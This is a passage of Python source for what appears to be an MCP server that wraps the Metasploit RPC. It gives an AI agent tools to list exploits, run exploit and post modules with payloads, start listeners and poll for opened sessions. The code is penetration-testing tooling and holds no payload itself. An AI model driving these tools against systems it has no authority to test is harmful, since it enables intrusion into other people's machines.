LONG_CONSOLE_READ_TIMEOUT = 60 # For commands like run/exploit/check 44 | SESSION_COMMAND_TIMEOUT = 60 # Default for commands within sessions 45 | SESSION_READ_INACTIVITY_TIMEOUT = 10 # Timeout if no data from session 46 | EXPLOIT_SESSION_POLL_TIMEOUT = 60 # Max time to wait for session after exploit job 47 | EXPLOIT_SESSION_POLL_INTERVAL = 2 # How often to check for session 48 | RPC_CALL_TIMEOUT = 30 # Default timeout for RPC calls like listing modules 49 | 50 | # Regular Expressions for Prompt Detection 51 | MSF_PROMPT_RE = re.compile(rb'\x01\x02msf\d+\x01\x02 \x01\x02> \x01\x02') # Matches the msf6 > prompt with control chars 52 | SHELL_PROMPT_RE = re.compile(r'([#$>]|%)\s*$') # Matches common shell prompts (#, $, >, %) at end of line 53 | 54 | # --- Metasploit Client Setup --- 55 | 56 | _msf_client_instance: Optional[MsfRpcClient] = None 57 | 58 | def initialize_msf_client() -> MsfRpcClient: 59 | """ 60 | Initializes the global Metasploit RPC client instance. 61 | Raises exceptions on failure. 62 | """ 63 | global _msf_client_instance 64 | if _msf_client_instance is not None: 65 | return _msf_client_instance 66 | 67 | logger.info("Attempting to initialize Metasploit RPC client...") 68 | 69 | try: 70 | msf_port = int(MSF_PORT_STR) 71 | msf_ssl = MSF_SSL_STR.lower() == 'true' 72 | except ValueError as e: 73 | logger.error(f"Invalid MSF connection parameters (PORT: {MSF_PORT_STR}, SSL: {MSF_SSL_STR}). Error: {e}") 74 | raise ValueError("Invalid MSF connection parameters") from e 75 | 76 | try: 77 | logger.debug(f"Attempting to create MsfRpcClient connection to {MSF_SERVER}:{msf_port} (SSL: {msf_ssl})...") 78 | client = MsfRpcClient( 79 | password=MSF_PASSWORD, 80 | server=MSF_SERVER, 81 | port=msf_port, 82 | ssl=msf_ssl 83 | ) 84 | # Test connection during initialization 85 | logger.debug("Testing connection with core.version call...") 86 | version_info = client.core.version 87 | msf_version = version_info.get('version', 'unknown') if isinstance(version_info, dict) else 'unknown' 88 | logger.info(f"Successfully connected to Metasploit RPC at {MSF_SERVER}:{msf_port} (SSL: {msf_ssl}), version: {msf_version}") 89 | _msf_client_instance = client 90 | return _msf_client_instance 91 | except MsfRpcError as e: 92 | logger.error(f"Failed to connect or authenticate to Metasploit RPC ({MSF_SERVER}:{msf_port}, SSL: {msf_ssl}): {e}") 93 | raise ConnectionError(f"Failed to connect/authenticate to Metasploit RPC: {e}") from e 94 | except Exception as e: 95 | logger.error(f"An unexpected error occurred during MSF client initialization: {e}", exc_info=True) 96 | raise RuntimeError(f"Unexpected error initializing MSF client: {e}") from e 97 | 98 | def get_msf_client() -> MsfRpcClient: 99 | """Gets the initialized MSF client instance, raising an error if not ready.""" 100 | if _msf_client_instance is None: 101 | logger.error("Metasploit client has not been initialized. Check MSF server connection.") 102 | raise ConnectionError("Metasploit client has not been initialized.") # Strict check preferred 103 | logger.debug("Retrieved MSF client instance successfully.") 104 | return _msf_client_instance 105 | 106 | async def check_msf_connection() -> Dict[str, Any]: 107 | """ 108 | Check the current status of the Metasploit RPC connection. 109 | Returns connection status information for debugging. 110 | """ 111 | try: 112 | client = get_msf_client() 113 | logger.debug(f"Testing MSF connection with {RPC_CALL_TIMEOUT}s timeout...") 114 | version_info = await asyncio.wait_for( 115 | asyncio.to_thread(lambda: client.core.version), 116 | timeout=RPC_CALL_TIMEOUT 117 | ) 118 | msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A' 119 | return { 120 | "status": "connected", 121 | "server": f"{MSF_SERVER}:{MSF_PORT_STR}", 122 | "ssl": MSF_SSL_STR, 123 | "version": msf_version, 124 | "message": "Connection to Metasploit RPC is healthy" 125 | } 126 | except asyncio.TimeoutError: 127 | return { 128 | "status": "timeout", 129 | "server": f"{MSF_SERVER}:{MSF_PORT_STR}", 130 | "ssl": MSF_SSL_STR, 131 | "timeout_seconds": RPC_CALL_TIMEOUT, 132 | "message": f"Metasploit server not responding within {RPC_CALL_TIMEOUT}s timeout" 133 | } 134 | except ConnectionError as e: 135 | return { 136 | "status": "not_initialized", 137 | "server": f"{MSF_SERVER}:{MSF_PORT_STR}", 138 | "ssl": MSF_SSL_STR, 139 | "message": f"Metasploit client not initialized: {e}" 140 | } 141 | except MsfRpcError as e: 142 | return { 143 | "status": "rpc_error", 144 | "server": f"{MSF_SERVER}:{MSF_PORT_STR}", 145 | "ssl": MSF_SSL_STR, 146 | "message": f"Metasploit RPC error: {e}" 147 | } 148 | except Exception as e: 149 | return { 150 | "status": "error", 151 | "server": f"{MSF_SERVER}:{MSF_PORT_STR}", 152 | "ssl": MSF_SSL_STR, 153 | "message": f"Unexpected error: {e}" 154 | } 155 | 156 | @contextlib.asynccontextmanager 157 | async def get_msf_console() -> MsfConsole: 158 | """ 159 | Async context manager for creating and reliably destroying an MSF console. 160 | """ 161 | client = get_msf_client() # Raises ConnectionError if not initialized 162 | console_object: Optional[MsfConsole] = None 163 | console_id_str: Optional[str] = None 164 | try: 165 | logger.debug("Creating temporary MSF console...") 166 | # Create console object directly 167 | console_object = await asyncio.to_thread(lambda: client.consoles.console()) 168 | 169 | # Get ID using .cid attribute 170 | if isinstance(console_object, MsfConsole) and hasattr(console_object, 'cid'): 171 | console_id_val = getattr(console_object, 'cid') 172 | console_id_str = str(console_id_val) if console_id_val is not None else None 173 | if not console_id_str: 174 | raise ValueError("Console object created, but .cid attribute is empty or None.") 175 | logger.info(f"MSF console created (ID: {console_id_str})") 176 | 177 | # Read initial prompt/banner to clear buffer and ensure readiness 178 | await asyncio.sleep(0.2) # Short delay for prompt to appear 179 | initial_read = await asyncio.to_thread(lambda: console_object.read()) 180 | logger.debug(f"Initial console read (clearing buffer): {initial_read}") 181 | yield console_object # Yield the ready console object 182 | else: 183 | # This case should ideally not happen if .console() works as expected 184 | logger.error(f"client.consoles.console() did not return expected MsfConsole object with .cid. Got type: {type(console_object)}") 185 | raise MsfRpcError(f"Unexpected result from console creation: {console_object}") 186 | 187 | except MsfRpcError as e: 188 | logger.error(f"MsfRpcError during console operation: {e}") 189 | raise MsfRpcError(f"Error creating/accessing MSF console: {e}") from e 190 | except Exception as e: 191 | logger.exception("Unexpected error during console creation/setup") 192 | raise RuntimeError(f"Unexpected error during console operation: {e}") from e 193 | finally: 194 | # Destruction Logic 195 | if console_id_str and _msf_client_instance: # Check client still exists 196 | try: 197 | logger.info(f"Attempting to destroy Metasploit console (ID: {console_id_str})...") 198 | # Use lambda to avoid potential issues with capture 199 | destroy_result = await asyncio.to_thread( 200 | lambda cid=console_id_str: _msf_client_instance.consoles.destroy(cid) 201 | ) 202 | logger.debug(f"Console destroy result: {destroy_result}") 203 | except Exception as e: 204 | # Log error but don't raise exception during cleanup 205 | logger.error(f"Error destroying MSF console {console_id_str}: {e}") 206 | elif console_object and not console_id_str: 207 | logger.warning("Console object created but no valid ID obtained, cannot explicitly destroy.") 208 | # else: logger.debug("No console ID obtained, skipping destruction.") 209 | 210 | async def run_command_safely(console: MsfConsole, cmd: str, execution_timeout: Optional[int] = None) -> str: 211 | """ 212 | Safely run a command on a Metasploit console and return the output. 213 | Relies primarily on detecting the MSF prompt for command completion. 214 | 215 | Args: 216 | console: The Metasploit console object (MsfConsole). 217 | cmd: The command to run. 218 | execution_timeout: Optional specific timeout for this command's execution phase. 219 | 220 | Returns: 221 | The command output as a string. 222 | """ 223 | if not (hasattr(console, 'write') and hasattr(console, 'read')): 224 | logger.error(f"Console object {type(console)} lacks required methods (write, read).") 225 | raise TypeError("Unsupported console object type for command execution.") 226 | 227 | try: 228 | logger.debug(f"Running console command: {cmd}") 229 | await asyncio.to_thread(lambda: console.write(cmd + '\n')) 230 | 231 | output_buffer = b"" # Read as bytes to handle potential encoding issues and prompt matching 232 | start_time = asyncio.get_event_loop().time() 233 | 234 | # Determine read timeout - use inactivity timeout as fallback 235 | read_timeout = execution_timeout or (LONG_CONSOLE_READ_TIMEOUT if cmd.strip().startswith(("run", "exploit", "check")) else DEFAULT_CONSOLE_READ_TIMEOUT) 236 | check_interval = 0.1 # Seconds between reads 237 | last_data_time = start_time 238 | 239 | while True: 240 | await asyncio.sleep(check_interval) 241 | current_time = asyncio.get_event_loop().time() 242 | 243 | # Check overall timeout first 244 | if (current_time - start_time) > read_timeout: 245 | logger.warning(f"Overall timeout ({read_timeout}s) reached for console command '{cmd}'.") 246 | break 247 | 248 | # Read available data 249 | try: 250 | chunk_result = await asyncio.to_thread(lambda: console.read()) 251 | # console.read() returns {'data': '...', 'prompt': '...', 'busy': bool} 252 | chunk_data = chunk_result.get('data', '').encode('utf-8', errors='replace') # Ensure bytes 253 | 254 | # Handle the prompt - ensure it's bytes for pattern matching 255 | prompt_str = chunk_result.get('prompt', '') 256 | prompt_bytes = prompt_str.encode('utf-8', errors='replace') if isinstance(prompt_str, str) else prompt_str 257 | except Exception as read_err: 258 | logger.warning(f"Error reading from console during command '{cmd}': {read_err}") 259 | await asyncio.sleep(0.5) # Wait a bit before retrying or timing out 260 | continue 261 | 262 | if chunk_data: 263 | # logger.debug(f"Read chunk (bytes): {chunk_data[:100]}...") # Log sparingly 264 | output_buffer += chunk_data 265 | last_data_time = current_time # Reset inactivity timer 266 | 267 | # Primary Completion Check: Did we receive the prompt? 268 | if prompt_bytes and MSF_PROMPT_RE.search(prompt_bytes): 269 | logger.debug(f"Detected MSF prompt in console.read() result for '{cmd}'. Command likely complete.") 270 | break 271 | # Secondary Check: Does the buffered output end with the prompt? 272 | # Needed if prompt wasn't in the last read chunk but arrived earlier. 273 | if MSF_PROMPT_RE.search(output_buffer): 274 | logger.debug(f"Detected MSF prompt at end of buffer for '{cmd}'. Command likely complete.") 275 | break 276 | 277 | # Fallback Completion Check: Inactivity timeout 278 | elif (current_time - last_data_time) > SESSION_READ_INACTIVITY_TIMEOUT: # Use a shorter inactivity timeout here 279 | logger.debug(f"Console inactivity timeout ({SESSION_READ_INACTIVITY_TIMEOUT}s) reached for command '{cmd}'. Assuming complete.") 280 | break 281 | 282 | # Decode the final buffer 283 | final_output = output_buffer.decode('utf-8', errors='replace').strip() 284 | logger.debug(f"Final output for '{cmd}' (length {len(final_output)}):\n{final_output[:500]}{'...' if len(final_output) > 500 else ''}") 285 | return final_output 286 | 287 | except Exception as e: 288 | logger.exception(f"Error executing console command '{cmd}'") 289 | raise RuntimeError(f"Failed executing console command '{cmd}': {e}") from e 290 | 291 | from mcp.server.session import ServerSession 292 | 293 | #################################################################################### 294 | # Temporary monkeypatch which avoids crashing when a POST message is received 295 | # before a connection has been initialized, e.g: after a deployment. 296 | # pylint: disable-next=protected-access 297 | old__received_request = ServerSession._received_request 298 | 299 | 300 | async def _received_request(self, *args, **kwargs): 301 | try: 302 | return await old__received_request(self, *args, **kwargs) 303 | except RuntimeError: 304 | pass 305 | 306 | 307 | # pylint: disable-next=protected-access 308 | ServerSession._received_request = _received_request 309 | #################################################################################### 310 | 311 | # --- MCP Server Initialization --- 312 | mcp = FastMCP("Metasploit Tools Enhanced (Streamlined)") 313 | 314 | # --- Internal Helper Functions --- 315 | 316 | def _parse_options_gracefully(options: Union[Dict[str, Any], str, None]) -> Dict[str, Any]: 317 | """ 318 | Gracefully parse options from different formats. 319 | 320 | Handles: 321 | - Dict format (correct): {"key": "value", "key2": "value2"} 322 | - String format (common mistake): "key=value,key=value" 323 | - None: returns empty dict 324 | 325 | Args: 326 | options: Options in dict format, string format, or None 327 | 328 | Returns: 329 | Dictionary of parsed options 330 | 331 | Raises: 332 | ValueError: If string format is malformed 333 | """ 334 | if options is None: 335 | return {} 336 | 337 | if isinstance(options, dict): 338 | # Already correct format 339 | return options 340 | 341 | if isinstance(options, str): 342 | # Handle the common mistake format: "key=value,key=value" 343 | if not options.strip(): 344 | return {} 345 | 346 | logger.info(f"Converting string format options to dict: {options}") 347 | parsed_options = {} 348 | 349 | try: 350 | # Split by comma and then by equals 351 | pairs = [pair.strip() for pair in options.split(',') if pair.strip()] 352 | for pair in pairs: 353 | if '=' not in pair: 354 | raise ValueError(f"Invalid option format: '{pair}' (missing '=')") 355 | 356 | key, value = pair.split('=', 1) # Split only on first '=' 357 | key = key.strip() 358 | value = value.strip() 359 | 360 | # Validate key is not empty 361 | if not key: 362 | raise ValueError(f"Invalid option format: '{pair}' (empty key)") 363 | 364 | # Remove quotes if they wrap the entire value 365 | if (value.startswith('"') and value.endswith('"')) or \ 366 | (value.startswith("'") and value.endswith("'")): 367 | value = value[1:-1] 368 | 369 | # Basic type conversion 370 | if value.lower() in ('true', 'false'): 371 | value = value.lower() == 'true' 372 | elif value.isdigit(): 373 | try: 374 | value = int(value) 375 | except ValueError: 376 | pass # Keep as string if conversion fails 377 | 378 | parsed_options[key] = value 379 | 380 | logger.info(f"Successfully converted string options to dict: {parsed_options}") 381 | return parsed_options 382 | 383 | except Exception as e: 384 | raise ValueError(f"Failed to parse options string '{options}': {e}. Expected format: 'key=value,key2=value2' or dict {{'key': 'value'}}") 385 | 386 | # For any other type, try to convert to dict 387 | try: 388 | return dict(options) 389 | except (TypeError, ValueError) as e: 390 | raise ValueError(f"Options must be a dictionary or comma-separated string format 'key=value,key2=value2'. Got {type(options)}: {options}") 391 | 392 | async def _get_module_object(module_type: str, module_name: str) -> Any: 393 | """Gets the MSF module object, handling potential path variations.""" 394 | client = get_msf_client() 395 | base_module_name = module_name # Start assuming it's the base name 396 | if '/' in module_name: 397 | parts = module_name.split('/') 398 | if parts[0] in ('exploit', 'payload', 'post', 'auxiliary', 'encoder', 'nop'): 399 | # Looks like full path, extract base name 400 | base_module_name = '/'.join(parts[1:]) 401 | if module_type != parts[0]: 402 | logger.warning(f"Module type mismatch: expected '{module_type}', got path starting with '{parts[0]}'. Using provided type.") 403 | # Else: Assume it's like 'windows/smb/ms17_010_eternalblue' - already the base name 404 | 405 | logger.debug(f"Attempting to retrieve module: client.modules.use('{module_type}', '{base_module_name}')") 406 | try: 407 | module_obj = await asyncio.to_thread(lambda: client.modules.use(module_type, base_module_name)) 408 | logger.debug(f"Successfully retrieved module object for {module_type}/{base_module_name}") 409 | return module_obj 410 | except (MsfRpcError, KeyError) as e: 411 | # KeyError can be raised by pymetasploit3 if module not found 412 | error_str = str(e).lower() 413 | if "unknown module" in error_str or "invalid module" in error_str or isinstance(e, KeyError): 414 | logger.error(f"Module {module_type}/{base_module_name} (from input {module_name}) not found.") 415 | raise ValueError(f"Module '{module_name}' of type '{module_type}' not found.") from e 416 | else: 417 | logger.error(f"MsfRpcError getting module {module_type}/{base_module_name}: {e}") 418 | raise MsfRpcError(f"Error retrieving module '{module_name}': {e}") from e 419 | 420 | async def _set_module_options(module_obj: Any, options: Dict[str, Any]): 421 | """Sets options on a module object, performing basic type guessing.""" 422 | logger.debug(f"Setting options for module {getattr(module_obj, 'fullname', '')}: {options}") 423 | for k, v in options.items(): 424 | # Basic type guessing 425 | original_value = v 426 | if isinstance(v, str): 427 | if v.isdigit(): 428 | try: v = int(v) 429 | except ValueError: pass # Keep as string if large number or non-integer 430 | elif v.lower() in ('true', 'false'): 431 | v = v.lower() == 'true' 432 | # Add more specific checks if needed (e.g., for file paths) 433 | elif isinstance(v, (int, bool)): 434 | pass # Already correct type 435 | # Add handling for other types like lists if necessary 436 | 437 | try: 438 | # Use lambda to capture current k, v for the thread 439 | await asyncio.to_thread(lambda key=k, value=v: module_obj.__setitem__(key, value)) 440 | # logger.debug(f"Set option {k}={v} (original: {original_value})") 441 | except (MsfRpcError, KeyError, TypeError) as e: 442 | # Catch potential errors if option doesn't exist or type is wrong 443 | logger.error(f"Failed to set option {k}={v} on module: {e}") 444 | raise ValueError(f"Failed to set option '{k}' to '{original_value}': {e}") from e 445 | 446 | async def _execute_module_rpc( 447 | module_type: str, 448 | module_name: str, # Can be full path or base name 449 | module_options: Dict[str, Any], 450 | payload_spec: Optional[Union[str, Dict[str, Any]]] = None # Payload name or {name: ..., options: ...} 451 | ) -> Dict[str, Any]: 452 | """ 453 | Helper to execute an exploit, auxiliary, or post module as a background job via RPC. 454 | Includes polling logic for exploit sessions. 455 | """ 456 | client = get_msf_client() 457 | module_obj = await _get_module_object(module_type, module_name) # Handles path variants 458 | full_module_path = getattr(module_obj, 'fullname', f"{module_type}/{module_name}") # Get canonical name 459 | 460 | await _set_module_options(module_obj, module_options) 461 | 462 | payload_obj_to_pass = None 463 | payload_name_for_log = None 464 | payload_options_for_log = None 465 | 466 | # Prepare payload if needed (primarily for exploits, also used by start_listener) 467 | if module_type == 'exploit' and payload_spec: 468 | if isinstance(payload_spec, str): 469 | payload_name_for_log = payload_spec 470 | # Passing name string directly is supported by exploit.execute 471 | payload_obj_to_pass = payload_name_for_log 472 | logger.info(f"Executing {full_module_path} with payload '{payload_name_for_log}' (passed as string).") 473 | elif isinstance(payload_spec, dict) and 'name' in payload_spec: 474 | payload_name = payload_spec['name'] 475 | payload_options = payload_spec.get('options', {}) 476 | payload_name_for_log = payload_name 477 | payload_options_for_log = payload_options 478 | try: 479 | payload_obj = await _get_module_object('payload', payload_name) 480 | await _set_module_options(payload_obj, payload_options) 481 | payload_obj_to_pass = payload_obj # Pass the configured payload object 482 | logger.info(f"Executing {full_module_path} with configured payload object for '{payload_name}'.") 483 | except (ValueError, MsfRpcError) as e: 484 | logger.error(f"Failed to prepare payload object for '{payload_name}': {e}") 485 | return {"status": "error", "message": f"Failed to prepare payload '{payload_name}': {e}"} 486 | else: 487 | logger.warning(f"Invalid payload_spec format: {payload_spec}. Expected string or dict with 'name'.") 488 | return {"status": "error", "message": "Invalid payload specification format."} 489 | 490 | logger.info(f"Executing module {full_module_path} as background job via RPC...") 491 | try: 492 | if module_type == 'exploit': 493 | exec_result = await asyncio.to_thread(lambda: module_obj.execute(payload=payload_obj_to_pass)) 494 | else: # auxiliary, post 495 | exec_result = await asyncio.to_thread(lambda: module_obj.execute()) 496 | 497 | logger.info(f"RPC execute() result for {full_module_path}: {exec_result}") 498 | 499 | # --- Process Execution Result --- 500 | if not isinstance(exec_result, dict): 501 | logger.error(f"Unexpected result type from {module_type} execution: {type(exec_result)} - {exec_result}") 502 | return {"status": "error", "message": f"Unexpected result from module execution: {exec_result}", "module": full_module_path} 503 | 504 | if exec_result.get('error', False): 505 | error_msg = exec_result.get('error_message', exec_result.get('error_string', 'Unknown RPC error during execution')) 506 | logger.error(f"Failed to start job for {full_module_path}: {error_msg}") 507 | # Check for common errors 508 | if "could not bind" in error_msg.lower(): 509 | return {"status": "error", "message": f"Job start failed: Address/Port likely already in use. {error_msg}", "module": full_module_path} 510 | return {"status": "error", "message": f"Failed to start job: {error_msg}", "module": full_module_path} 511 | 512 | job_id = exec_result.get('job_id') 513 | uuid = exec_result.get('uuid') 514 | 515 | if job_id is None: 516 | logger.warning(f"{module_type.capitalize()} job executed but no job_id returned: {exec_result}") 517 | # Sometimes handlers don't return job_id but are running, check by UUID/name later maybe 518 | if module_type == 'exploit' and 'handler' in full_module_path: 519 | # Check jobs list for a match based on payload/lhost/lport 520 | await asyncio.sleep(1.0) 521 | jobs_list = await asyncio.to_thread(lambda: client.jobs.list) 522 | for jid, jinfo in jobs_list.items(): 523 | if isinstance(jinfo, dict) and jinfo.get('name','').endswith('Handler') and \ 524 | jinfo.get('datastore',{}).get('LHOST') == module_options.get('LHOST') and \ 525 | jinfo.get('datastore',{}).get('LPORT') == module_options.get('LPORT') and \ 526 | jinfo.get('datastore',{}).get('PAYLOAD') == payload_name_for_log: 527 | logger.info(f"Found probable handler job {jid} matching parameters.") 528 | return {"status": "success", "message": f"Listener likely started as job {jid}", "job_id": jid, "uuid": uuid, "module": full_module_path} 529 | 530 | return {"status": "unknown", "message": f"{module_type.capitalize()} executed, but no job ID returned.", "result": exec_result, "module": full_module_path} 531 | 532 | # --- Exploit Specific: Poll for Session --- 533 | found_session_id = None 534 | if module_type == 'exploit' and uuid: 535 | start_time = asyncio.get_event_loop().time() 536 | logger.info(f"Exploit job {job_id} (UUID: {uuid}) started. Polling for session (timeout: {EXPLOIT_SESSION_POLL_TIMEOUT}s)...") 537 | while (asyncio.get_event_loop().time() - start_time) < EXPLOIT_SESSION_POLL_TIMEOUT: 538 | try: 539 | sessions_list = await asyncio.to_thread(lambda: client.sessions.list) 540 | for s_id, s_info in sessions_list.items(): 541 | # Ensure comparison is robust (uuid might be str or bytes, info dict keys too) 542 | s_id_str = str(s_id) 543 | if isinstance(s_info, dict) and str(s_info.get('exploit_uuid')) == str(uuid): 544 | found_session_id = s_id # Keep original type from list keys 545 | logger.info(f"Found matching session {found_session_id} for job {job_id} (UUID: {uuid})") 546 | break # Exit inner loop 547 | 548 | if found_session_id is not None: break # Exit outer loop 549 | 550 | # Optional: Check if job died prematurely 551 | # job_info = await asyncio.to_thread(lambda: client.jobs.info(str(job_id))) 552 | # if not job_info or job_info.get('status') != 'running': 553 | # logger.warning(f"Job {job_id} stopped or disappeared during session polling.") 554 | # break 555 | 556 | except MsfRpcError as poll_e: logger.warning(f"Error during session polling: {poll_e}") 557 | except Exception as poll_e: logger.error(f"Unexpected error during polling: {poll_e}", exc_info=True); break 558 | 559 | await asyncio.sleep(EXPLOIT_SESSION_POLL_INTERVAL) 560 | 561 | if found_session_id is None: 562 | logger.warning(f"Polling timeout ({EXPLOIT_SESSION_POLL_TIMEOUT}s) reached for job {job_id}, no matching session found.") 563 | 564 | # --- Construct Final Success/Warning Message --- 565 | message = f"{module_type.capitalize()} module {full_module_path} started as job {job_id}." 566 | status = "success" 567 | if module_type == 'exploit': 568 | if found_session_id is not None: 569 | message += f" Session {found_session_id} created." 570 | else: 571 | message += " No session detected within timeout." 572 | status = "warning" # Indicate job started but session didn't appear 573 | 574 | return { 575 | "status": status, "message": message, "job_id": job_id, "uuid": uuid, 576 | "session_id": found_session_id, # None if not found/not applicable 577 | "module": full_module_path, "options": module_options, 578 | "payload_name": payload_name_for_log, # Include payload info if exploit 579 | "payload_options": payload_options_for_log 580 | } 581 | 582 | except (MsfRpcError, ValueError) as e: # Catch module prep errors too 583 | error_str = str(e).lower() 584 | logger.error(f"Error executing module {full_module_path} via RPC: {e}") 585 | if "missing required option" in error_str or "invalid option" in error_str: 586 | missing = getattr(module_obj, 'missing_required', []) 587 | return {"status": "error", "message": f"Missing/invalid options for {full_module_path}: {e}", "missing_required": missing} 588 | elif "invalid payload" in error_str: 589 | return {"status": "error", "message": f"Invalid payload specified: {payload_name_for_log or 'None'}. {e}"} 590 | return {"status": "error", "message": f"Error running {full_module_path}: {e}"} 591 | except Exception as e: 592 | logger.exception(f"Unexpected error executing module {full_module_path} via RPC") 593 | return {"status": "error", "message": f"Unexpected server error running {full_module_path}: {e}"} 594 | 595 | async def _execute_module_console( 596 | module_type: str, 597 | module_name: str, # Can be full path or base name 598 | module_options: Dict[str, Any], 599 | command: str, # Typically 'exploit', 'run', or 'check' 600 | payload_spec: Optional[Union[str, Dict[str, Any]]] = None, 601 | timeout: int = LONG_CONSOLE_READ_TIMEOUT 602 | ) -> Dict[str, Any]: 603 | """Helper to execute a module synchronously via console.""" 604 | # Determine full path needed for 'use' command 605 | if '/' not in module_name: 606 | full_module_path = f"{module_type}/{module_name}" 607 | else: 608 | # Assume full path or relative path was given; ensure type prefix 609 | if not module_name.startswith(module_type + '/'): 610 | # e.g., got 'windows/x', type 'exploit' -> 'exploit/windows/x' 611 | # e.g., got 'exploit/windows/x', type 'exploit' -> 'exploit/windows/x' (no change) 612 | if not any(module_name.startswith(pfx + '/') for pfx in ['exploit', 'payload', 'post', 'auxiliary', 'encoder', 'nop']): 613 | full_module_path = f"{module_type}/{module_name}" 614 | else: # Already has a type prefix, use it as is 615 | full_module_path = module_name 616 | else: # Starts with correct type prefix 617 | full_module_path = module_name 618 | 619 | logger.info(f"Executing {full_module_path} synchronously via console (command: {command})...") 620 | 621 | payload_name_for_log = None 622 | payload_options_for_log = None 623 | 624 | async with get_msf_console() as console: 625 | try: 626 | setup_commands = [f"use {full_module_path}"] 627 | 628 | # Add module options 629 | for key, value in module_options.items(): 630 | val_str = str(value) 631 | if isinstance(value, str) and any(c in val_str for c in [' ', '"', "'", '\\']): 632 | val_str = shlex.quote(val_str) 633 | elif isinstance(value, bool): 634 | val_str = str(value).lower() # MSF console expects lowercase bools 635 | setup_commands.append(f"set {key} {val_str}") 636 | 637 | # Add payload and payload options (if applicable) 638 | if payload_spec: 639 | payload_name = None 640 | payload_options = {} 641 | if isinstance(payload_spec, str): 642 | payload_name = payload_spec 643 | elif isinstance(payload_spec, dict) and 'name' in payload_spec: 644 | payload_name = payload_spec['name'] 645 | payload_options = payload_spec.get('options', {}) 646 | 647 | if payload_name: 648 | payload_name_for_log = payload_name 649 | payload_options_for_log = payload_options 650 | # Need base name for 'set PAYLOAD' 651 | if '/' in payload_name: 652 | parts = payload_name.split('/') 653 | if parts[0] == 'payload': payload_base_name = '/'.join(parts[1:]) 654 | else: payload_base_name = payload_name # Assume relative 655 | else: payload_base_name = payload_name # Assume just name 656 | 657 | setup_commands.append(f"set PAYLOAD {payload_base_name}") 658 | for key, value in payload_options.items(): 659 | val_str = str(value) 660 | if isinstance(value, str) and any(c in val_str for c in [' ', '"', "'", '\\']): 661 | val_str = shlex.quote(val_str) 662 | elif isinstance(value, bool): 663 | val_str = str(value).lower() 664 | setup_commands.append(f"set {key} {val_str}") 665 | 666 | # Execute setup commands 667 | for cmd in setup_commands: 668 | setup_output = await run_command_safely(console, cmd, execution_timeout=DEFAULT_CONSOLE_READ_TIMEOUT) 669 | # Basic error check in setup output 670 | if any(err in setup_output for err in ["[-] Error setting", "Invalid option", "Unknown module", "Failed to load"]): 671 | error_msg = f"Error during setup command '{cmd}': {setup_output}" 672 | logger.error(error_msg) 673 | return {"status": "error", "message": error_msg, "module": full_module_path} 674 | await asyncio.sleep(0.1) # Small delay between setup commands 675 | 676 | # Execute the final command (exploit, run, check) 677 | logger.info(f"Running final console command: {command}") 678 | module_output = await run_command_safely(console, command, execution_timeout=timeout) 679 | logger.debug(f"Synchronous execution output length: {len(module_output)}") 680 | 681 | # --- Parse Console Output --- 682 | session_id = None 683 | session_opened_line = "" 684 | # More robust session detection pattern 685 | session_match = re.search(r"(?:meterpreter|command shell)\s+session\s+(\d+)\s+opened", module_output, re.IGNORECASE) 686 | if session_match: 687 | try: 688 | session_id = int(session_match.group(1)) 689 | session_opened_line = session_match.group(0) # The matched line segment 690 | logger.info(f"Detected session {session_id} opened in console output.") 691 | except (ValueError, IndexError): 692 | logger.warning("Found session opened pattern, but failed to parse ID.") 693 | 694 | status = "success" 695 | message = f"{module_type.capitalize()} module {full_module_path} completed via console ({command})." 696 | if command in ['exploit', 'run'] and session_id is None and \ 697 | any(term in module_output.lower() for term in ['session opened', 'sending stage']): 698 | message += " Session may have opened but ID detection failed or session closed quickly." 699 | status = "warning" 700 | elif command in ['exploit', 'run'] and session_id is not None: 701 | message += f" Session {session_id} detected." 702 | 703 | # Check for common failure indicators 704 | if any(fail in module_output.lower() for fail in ['exploit completed, but no session was created', 'exploit failed', 'run failed', 'check failed', 'module check failed']): 705 | status = "error" if status != "warning" else status # Don't override warning if session might have opened 706 | message = f"{module_type.capitalize()} module {full_module_path} execution via console appears to have failed. Check output." 707 | logger.error(f"Failure detected in console output for {full_module_path}.") 708 | 709 | 710 | return { 711 | "status": status, 712 | "message": message, 713 | "module_output": module_output, 714 | "session_id_detected": session_id, 715 | "session_opened_line": session_opened_line, 716 | "module": full_module_path, 717 | "options": module_options, 718 | "payload_name": payload_name_for_log, 719 | "payload_options": payload_options_for_log 720 | } 721 | 722 | except (RuntimeError, MsfRpcError, ValueError) as e: # Catch errors from run_command_safely or setup 723 | logger.error(f"Error during console execution of {full_module_path}: {e}") 724 | return {"status": "error", "message": f"Error executing {full_module_path} via console: {e}"} 725 | except Exception as e: 726 | logger.exception(f"Unexpected error during console execution of {full_module_path}") 727 | return {"status": "error", "message": f"Unexpected server error running {full_module_path} via console: {e}"} 728 | 729 | # --- MCP Tool Definitions --- 730 | 731 | @mcp.tool() 732 | async def list_exploits(search_term: str = "") -> List[str]: 733 | """ 734 | List available Metasploit exploits, optionally filtered by search term. 735 | 736 | Args: 737 | search_term: Optional term to filter exploits (case-insensitive). 738 | 739 | Returns: 740 | List of exploit names matching the term (max 200), or top 100 if no term. 741 | """ 742 | client = get_msf_client() 743 | logger.info(f"Listing exploits (search term: '{search_term or 'None'}')") 744 | try: 745 | # Add timeout to prevent hanging on slow/unresponsive MSF server 746 | logger.debug(f"Calling client.modules.exploits with {RPC_CALL_TIMEOUT}s timeout...") 747 | exploits = await asyncio.wait_for( 748 | asyncio.to_thread(lambda: client.modules.exploits), 749 | timeout=RPC_CALL_TIMEOUT 750 | ) 751 | logger.debug(f"Retrieved {len(exploits)} total exploits from MSF.") 752 | if search_term: 753 | term_lower = search_term.lower() 754 | filtered_exploits = [e for e in exploits if term_lower in e.lower()] 755 | count = len(filtered_exploits) 756 | limit = 200 757 | logger.info(f"Found {count} exploits matching '{search_term}'. Returning max {limit}.") 758 | return filtered_exploits[:limit] 759 | else: 760 | limit = 100 761 | logger.info(f"No search term provided, returning first {limit} exploits.") 762 | return exploits[:limit] 763 | except asyncio.TimeoutError: 764 | error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing exploits from Metasploit server. Server may be slow or unresponsive." 765 | logger.error(error_msg) 766 | return [f"Error: {error_msg}"] 767 | except MsfRpcError as e: 768 | logger.error(f"Metasploit RPC error while listing exploits: {e}") 769 | return [f"Error: Metasploit RPC error: {e}"] 770 | except Exception as e: 771 | logger.exception("Unexpected error listing exploits.") 772 | return [f"Error: Unexpected error listing exploits: {e}"] 773 | 774 | @mcp.tool() 775 | async def list_payloads(platform: str = "", arch: str = "") -> List[str]: 776 | """ 777 | List 